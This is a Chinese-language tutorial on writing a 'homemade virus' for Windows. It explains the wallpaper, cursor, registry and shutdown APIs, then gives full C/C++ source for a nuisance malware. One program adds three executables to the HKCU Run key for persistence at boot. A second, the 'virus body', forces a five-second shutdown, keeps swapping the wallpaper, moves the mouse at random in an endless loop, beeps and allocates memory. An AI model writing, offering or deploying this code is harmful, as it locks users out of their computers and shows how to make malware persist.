自制病毒——控制桌面背景鼠標以及開關機
目錄
一 理論知識
1.1 修改桌面背景方法
在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo
該函數也可以在設置參數中更新用戶配置文件,這個函數還有很多其它功能,比如獲取桌面工作區的大小。
BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);
uiAction:該參數指定要查詢或設置的系統級參數。其取值如下;
SPI_GETACCESSTIMEOUT:檢索與可訪問特性相關聯的超時段的信息,PvParam參數必須指向某個ACCESSTIMEOUT結構以獲得信息,並將該結構中的cbSjze成員和ulParam參數的值設為sizeof(ACCESSTIMEOUT)。
SPI_GETACTIVEWINDOWTRACKING:用於Windows 98和Windows NT 5.0及以后的版本。它表示是否打開活動窗口跟蹤(激活該窗口時鼠標置為開狀態),pvParam參數必須指向一個BOOL型變量(打開時接收值為TRUE,關閉時為FALSE)。
SPI_GETACTIVEWNDTRKZORDER;用於Windows 98和Windows NT 5.0及以后版本。它表示通過活動窗口跟蹤開關激活的窗口是否要置於最頂層。pvParam參數必須指向一個BOOL型變量,如果要置於頂層,那么該變量的值為TRUE,否則為FALSE。
SPI_GETACTIVEWNDTRKTIMEOUT:用於Windows 98和 Windows NT 5.0及以后版本。它指示活動窗口跟蹤延遲量,單位為毫秒。pvParam參數必須指向DWORD類型變量,以接收時間量。
SPI_GETANIMATION:檢索與用戶活動有關的動畫效果。pvParam參數必須指向ANIMATIOINFO結構以接收信息。並將該結構的cbSize成員和ulParam參數置為sizeof(ANIMATIONINFO)。
SPI_GETBEEP:表示警告蜂鳴器是否是打開的。pvParam參數必須指向一個BOOL類型變量,如果蜂鳴器處於打開狀態,那么該變量的值為TRUE,否則為FALSE。
SpI_GETBORDER:檢索決定窗口邊界放大寬度的邊界放大因子。pvParam參數必須指向一個整型變量以接收該值。
SPI_GETDEFAULTINPUTLANG:返回用於系統缺省輸入語言的鍵盤布局句柄。pvParam參數必須指向一個32位變量,以接收該值。
SPI_GETCOMBOBOXANIMATION:用於Windows 98和Windows NT 5.0及以后版本。它表示用於組合櫃的動打開效果是否允許。pvParam參數必須指向一個BOOL變量,如果允許,那么變量返回值為TRUE,否則為FALSE。
SPI_GETDRAGFULLWINDOWS:確定是否允許拖拉到最大窗口。pvParam參數必須指向BOOL變量,如果允許,返回值為TRUE,否則為FALSE。對於Windows 95系統,該標志只有在安裝了Windows plus!才支持。
SPI_GETFASTTASKSWITCH:該標志已不用!以前版本的系統使用該標志來確定是否允許Alt+Tab快速任務切換。對於Windows 95、Windows 98和Windows NT 4.0版而言,快速任務切換通常是允許的。
更多
uiParam:uiParam 在參數說明中所有為ulParam均為錯誤。
這個參數值設為true即可。
pvParam:與查詢或設置的系統參數有關。關於系統級參數的詳情,請參考uiAction參數。否則在沒有指明情況下,必須將該參數指定為NULL。
在修改背景圖片時為圖片信息,PVOID類型。
fWinlni:如果設置系統參數,則它用來指定是否更新用戶配置文件(Profile)。亦或是否要將WM_SETTINGCHANGE消息廣播給所有頂層窗口,以通知它們新的變化內容。該參數可以是0或下列取值之一:
SPIF_UPDATEINIFILE:把新的系統參數的設置內容寫入用戶配置文件。
SPIF_SENDCHANGE:在更新用戶配置文件之后廣播WM_SETTINGCHANGE消息。
SPI_SENDWININICHANGE與 SPIF_SENDCHANGE一樣。
返回值
如果函數調用成功,返回值非零:如果函數調用失敗,那么返回值為零。
1.2 控制鼠標方法
控制鼠標坐標的方法同樣也時調用一個API,GetCursorPos和SetCursorPos
GetCursorPos用於獲取鼠標句柄
#include<stdio.h>
#include<windows.h>
int main()
{
POINT p;
GetCursorPos(&p);
return0;
}
SetCursorPos用於移動鼠標
在使用GetCursorPos獲取鼠標句柄之后,可以調用SetCursorPos移動鼠標,它的兩個參數分別是x軸和y軸。
函數原型:BOOL SetCursorPos(int X,int Y);
參數:
X:指定光標的新的X坐標,以屏幕坐標表示。
Y:指定光標的新的Y坐標,以屏幕坐標表示。
返回值:如果成功,返回非零值;如果失敗,返回值是零,若想獲得更多錯誤信息,請調用GetLastError函數。
備注:該光標是共享資源,僅當該光標在一個窗口的客戶區域內時它才能移動該光標。
1.3 開機自啟動方法
注冊表
開機自啟動的實現方法就是通過注冊表實現,在注冊表中有固定的開機自啟程序設置位置
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
在這幾項中有我們電腦中的開機自啟動程序信息,
例如這個WeChat就是開機時的微信登錄程序。
注冊表讀寫方法
RegCreateKey
// 打開注冊表
LONG WINAPI RegCreateKey(
_In_ HKEY hKey,
_In_opt_ LPCTSTR lpSubKey,
_Out_ PHKEY phkResult
);
hKey
指向當前打開表項的句柄,或者是下列預定義保留句柄值之一,實際上就是注冊表中的幾個分支。
lpSubKey
指向一個空終止的字符串指針,指示這個函數將打開或創建的表項的名稱。這個表項必須是由hKey參數所標識的項的子項
phkResult
這是一個返回值,指向一個變量的指針,用來接受創建或打開的表項的句柄。當不再需要此返回的注冊表項句柄時,調用RegCloseKey函數關閉這個句柄。
RegSetValueEx
// 讀寫注冊表
LONG RegSetValueEx(
HKEY hKey,
LPCTSTR lpValueName,
DWORD Reserved,
DWORD dwType,
CONST BYTE *lpData,
DWORD cbData
);
hKey
一個已打開項的句柄,或指定一個標准項名
lpValueName
指向一個字符串的指針,該字符串包含了欲設置值的名稱。若擁有該值名稱的值並不存在於指定的注冊表項中,則此函數將其加入到該項。如果此值是NULL,或指向空字符串,則此函數為該項的默認值或未命名值設置類型和數據。
Reserved
保留值,必須強制為0
dwType
指定將被存儲的數據類型,該參數可以為
REG_BINARY 任何形式的二進制數據
REG_DWORD 一個32位的數字
REG_DWORD_LITTLE_ENDIAN 一個“低字節在前”格式的32位數字
REG_DWORD_BIG_ENDIAN 一個“高字節在前”格式的32位數字
REG_EXPAND_SZ 一個以0結尾的字符串,該字符串包含對環境變量(如“%PAHT”)的未擴展引用
REG_LINK 一個Unicode格式的帶符號鏈接
REG_MULTI_SZ 一個以0結尾的字符串數組,該數組以連接兩個0為終止符
REG_NONE 未定義值類型
REG_RESOURCE_LIST 一個設備驅動器資源列表
REG_SZ 一個以0結尾的字符串
lpData
指向一個緩沖區,該緩沖區包含了欲為指定值名稱存儲的數據。
cbData
指定由lpData參數所指向的數據的大小,單位是字節。
1.4 關機方法
Windows 系統自帶一個名為Shutdown.exe的程序,可以用於關機操作(位置在Windows\System32下),一般情況下Windows系統的關機都可以通過調用程序 shutdown.exe來實現的,同時該程序也可以用於終止正在計划中的關機操作。
shutdown-a 取消關機
shutdown -s 關機
shutdown -f 強行關閉應用程序
shutdown -m \\計算機名 控制遠程計算機
shutdown -i 顯示“遠程關機”圖形用戶界面,但必須是Shutdown的第一個參數
shutdown -l 注銷當前用戶
shutdown -r 關機並重啟
shutdown -s -t 時間 設置關機倒計時
shutdown -h 休眠
二 實現
2.1 修改桌面背景代碼
圖片信息使用了一個PVOID數組,並通過一個for循環不斷切換桌面背景。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
PVOID s[10] = {
(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
...
(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
};
SystemParametersInfo(20, true,s, 1) ;
for(int i=0;i<10;i++){
SystemParametersInfo(20, true,s[i], 1) ;
Sleep(1000);//控制時間間隔
}
return 0 ;
}
2.2 控制鼠標代碼
利用隨機數和while死循環達到鼠標不受控制瘋狂隨機移動的功能。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
POINT sb;
srand((unsigned)time(NULL));
GetCursorPos (&sb);//獲取鼠標坐標
while(1){
SetCursorPos(rand()%1000,rand()%800);//更改鼠標坐標
Sleep(1);//控制移動時間間隔
}
return 0 ;
}
2.3 開機自啟動代碼
ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);
第二個參數是項名稱,第五個參數是要開機啟動程序的路徑位置,最后一個參數是第五個參數路徑字符長度。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
TCHAR p[64] ;
long ret;
ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
if(ret==ERROR_SUCCESS){
ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主
if(ret==ERROR_SUCCESS){
// 寫入成功
}else {
// 寫入失敗
cout << "Write filed !" ;
}
}else {
// 注冊表打開失敗
cout << "Read error !" << endl ;
}
return 0 ;
}
2.4 關機代碼
這個功能實現比較簡單。
#include<stdio.h>
#include<windows.h>
int main(){
// 五秒關機
system("shutdown -s -t 5");
return 0 ;
}
三 代碼
3.1 注冊程序,將病毒主體加入開機自啟動
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
TCHAR p[64] ;
long ret;
ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
if(ret==ERROR_SUCCESS){
ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主
ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要動作
ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//監控實時變化
if(ret==ERROR_SUCCESS){
// 寫入成功
}else {
// 寫入失敗
cout << "Write filed !" ;
}
}else {
cout << "Read error !" << endl ;
}
return 0 ;
}
3.2 病毒主體,在上方代碼實現開機自啟動之后,這段代碼可以不斷修改壁紙,控制鼠標以及關機。
#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;
int main(){
POINT sb;
PVOID s[10] = {
(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background2.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background3.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background4.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background5.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
};
srand((unsigned)time(NULL));
system("shutdown -s -t 5");
SystemParametersInfo(20, true,s, 1) ;
GetCursorPos (&sb);//獲取鼠標坐標
int i = 0 ;
while(1){
int *p = (int*)malloc(10000000000) ;
printf("\a");
SystemParametersInfo(20, true,s[i], 1) ;
if(i>=9){
i = 0 ;
}
SetCursorPos(rand()%1000,rand()%800);//更改鼠標坐標
Sleep(1);//控制移動時間間隔
}
return 0 ;
}